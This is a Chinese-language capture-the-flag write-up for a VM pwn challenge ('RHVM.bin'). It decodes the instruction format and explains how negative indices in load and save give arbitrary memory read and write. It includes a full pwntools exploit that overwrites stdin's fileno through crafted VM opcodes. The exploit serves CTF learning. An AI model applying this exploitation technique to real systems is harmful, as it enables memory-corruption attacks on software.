code结构
code结构
输入
0x0706050403020100
得到的测试结果为
0x000105040302
实际对应关系是
0x050403020100
变为
0x000105040302
0位置被移动到5位置想要处理后得到想要的值应该要把05放到0位置。
如下脚本完成上述操作
#从fro到to进行移位操作,索引从0开始
def left(item,i):
return (item<<(i*8))&0xffffffffffffffff
def yiwei(content,fro,to,bit=64):
if bit==64:
fro_bit=(content>>(fro*8))&0xff #取出来第fro位
fro_bit_8=fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)|left(fro_bit,4)|left(fro_bit,5)|left(fro_bit,6)|left(fro_bit,7)#把fro位复制到其他位
result= (0xff << (to * 8))&fro_bit_8 #删除多余的
print("result:",hex(to))
return result
if bit==32:
fro_bit = (content>>(fro*8))&0xff # 取出来第fro位
fro_bit_8 = fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3) # 把fro位复制到其他位
return (0xff << (to * 8)) & fro_bit_8 # 删除多余的
decoding=yiwei(item,3,5)|yiwei(item,2,4)|yiwei(item,1,3)|yiwei(item,0,2)|yiwei(item,4,1)|yiwei(item,5,0)
指令分类
像这种进行数学运算的肯定是寄存器
sub_106C(®_dword_203060[op_info->op_data1], ®_dword_203060[op_info->op_data2]);// *a1 += *a2;
这种包含加加减减操作,都是取指指令肯定是栈
save_to_qword_203058(®_dword_203060[op_info->op_data2]);// *(_DWORD *)(qword_203058 + 4LL * ++esp_dword_203010) = *a1;
另外还有一个不知道是哪的地址应该就是内存
load(®_dword_203060[op_info->op_data1], ®_dword_203060[op_info->op_data2]);// dword_203060[*a1] = dword_203080[*a2]; 寄存器取出两个索引,从内存取值放入寄存器
向任意一个地址写入数据的方法有两种
- 1、基地址加偏移量,修改偏移量就可以实现任意地址写,一般libc加载地址是变的,这个偏移量也会变,计算起来比较麻烦。
- 2、向一个地址处写入地址,再向这个地址写入值。这种方式简单但是需要程序里面提供这种两层地址的寻址方式。可以重点观察bss段写入的指针。
漏洞点
数据存放进去之后在运算过程中可以出现负数,负数的load和save会造成任意地址读写。
利用过程
从bss段load到stdin的地址,计算偏移得到_IO_2_1_stdin.fileno的地址(实际上因为是_IO_2_1_stdin.fileno-4,因为push指令是先加的),然后用push向这个地址处写0x233
exp
#coding=utf-8
from pwn import *
file_path = "./RHVM.bin"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
#从fro到to进行移位操作,索引从0开始
def left(item,i):
return (item<<(i*8))&0xffffffffffffffff
def yiwei(content,fro,to,bit=64):
if bit==64:
fro_bit=(content>>(fro*8))&0xff #取出来第fro位
fro_bit_8=fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)|left(fro_bit,4)|left(fro_bit,5)|left(fro_bit,6)|left(fro_bit,7)#把fro位复制到其他位
result= (0xff << (to * 8))&fro_bit_8 #删除多余的
# print("result:",hex(to))
return result
if bit==32:
fro_bit = (content>>(fro*8))&0xff # 取出来第fro位
fro_bit_8 = fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3) # 把fro位复制到其他位
return (0xff << (to * 8)) & fro_bit_8 # 删除多余的
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x121c)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.169', 57404)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def debug_1(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n x /50xg 0x203058+{}'.format(hex(text_base+i),hex(text_base))
gdb.attach(p,debug_str)
else:
for i in addr:
text_base=0
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def encode(item):
encoding=(item>>16&0xffffffff)|((item&0xff00)<<(3*8))|((item&0xff)<<(5*8))
# print("encoding: ",hex(encoding))
return encoding
def decode(item):
# decoding=((item&0x00ff00000000)>>(3*8))|((item&0xff0000000000)>>(5*8))|((item&0xffffffff)<<(2*8))
decoding=yiwei(item,3,5)|yiwei(item,2,4)|yiwei(item,1,3)|yiwei(item,0,2)|yiwei(item,4,1)|yiwei(item,5,0)
# print("decoding: ", hex(decoding))
return decoding
#0x06050403
def PUSH(a2):
return decode(0x70 | (a2) << (5 * 8) | 1 << (4 * 8))
def ReadREG(a1,a2):
return decode(0x40 | (a2) << (5 * 8) | a1 << (4 * 8))
def REGMul(a1,a2):
return decode(0xd0 | (a2) << (5 * 8) | a1 << (4 * 8))
def RGEShl(a1,a2):
return decode(0xe0 | (a2) << (5 * 8) | a1 << (4 * 8))
def RegCheng(a1,a2):
return decode(0xc0 | (a2) << (5 * 8) | a1 << (4 * 8))
def LoadM(a1,a2):
return decode(0x42 | (a2) << (5 * 8) | a1 << (4 * 8))
def AddGeg(a1,a2):
return decode(0xa0 | (a2) << (5 * 8) | a1 << (4 * 8))
def SaveMem(a1,a2):
return decode(0x41 | (a2) << (5 * 8) | a1 << (4 * 8))
def PrintInfo(a1,a2):
return decode(0x60 | (a2) << (5 * 8) | a1 << (4 * 8))
EIP=0
ESP=0
# &stdout_offset=0x203020
fileno_off=0x3ec7d0
stdout_off=0x3ec760
#0x70,0x40
# debug_1([0x000000000000181D])
p.sendlineafter("EIP: ",str(EIP))
p.sendlineafter("ESP: ",str(ESP))
payload=[]
#laod(IO_file)首先需要把IO_file的地址加载到内存
payload.append(ReadREG(1,8))#reg1
payload.append(ReadREG(2,7))#reg2
payload.append(ReadREG(3,1))#reg3
payload.append(ReadREG(8,4))
payload.append(REGMul(0,1))#-8
payload.append(REGMul(0,8))#-16
payload.append(REGMul(0,2))#reg0=-23
payload.append(REGMul(4,3))#reg4=-1
payload.append(LoadM(4,0))#load到stdout寄存器-1(ebp+4)
payload.append(AddGeg(4,4))#
payload.append(REGMul(0,3))#reg0=-24
payload.append(LoadM(5,0))#load到stdout寄存器0
#计算IO_file.fileno的偏移
payload.append(ReadREG(1,7))
payload.append(ReadREG(2,4))
payload.append(RGEShl(1,2))#reg1=0x70
payload.append(REGMul(0,2)) #计算出fileno-4存到0寄存器
payload.append(AddGeg(0,1))##计算出fileno低四字节 存放到reg0
####修改ebp
payload.append(ReadREG(2,8))
payload.append(REGMul(5,2))#reg5=-8
payload.append(LoadM(4,5))#load寄存器0到-2(ebp)
###计算
#在7寄存器里存放0x233 0x233=0x02<<8+(6*8+3 ) 此时寄存器0,1,6正在被使用
payload.append(ReadREG(3,2))#reg3
payload.append(RGEShl(3,2))#reg3=0x0200
payload.append(ReadREG(4,6))#reg4=6
payload.append(RegCheng(4,2))#reg2=8
payload.append(ReadREG(7,3))
payload.append(AddGeg(4,7))#reg4=6*8+3
payload.append(AddGeg(3,4))#reg3=0x233
payload.append(PUSH(3))
payload.append(PrintInfo(0,0))
print(payload,hex(len(payload)))
p.sendlineafter("Give me code length: \n",str(len(payload)))
p.recvuntil("code: \n")
for item in payload:
p.sendline(str(item))
p.interactive()
问题与经验
这种汇编指令是从rip+EBP_qword_203058指向的内容里面取出据
.text:00000000000011B5 mov rax, cs:EBP_qword_203058
看起来怎么都不像,用gdb查看发现对应这些指令
可以看到程序是从EBP_qword_203058指向的内容处取数据的。其中0x233就是放进去的值
这个地址是堆的地址,ida也没有识别出来什么时候给它赋值的
暂时不知道原因但是需要关注一个结论:cs:EBP_qword_203058这种段寻址不能相信,需要调试才能确认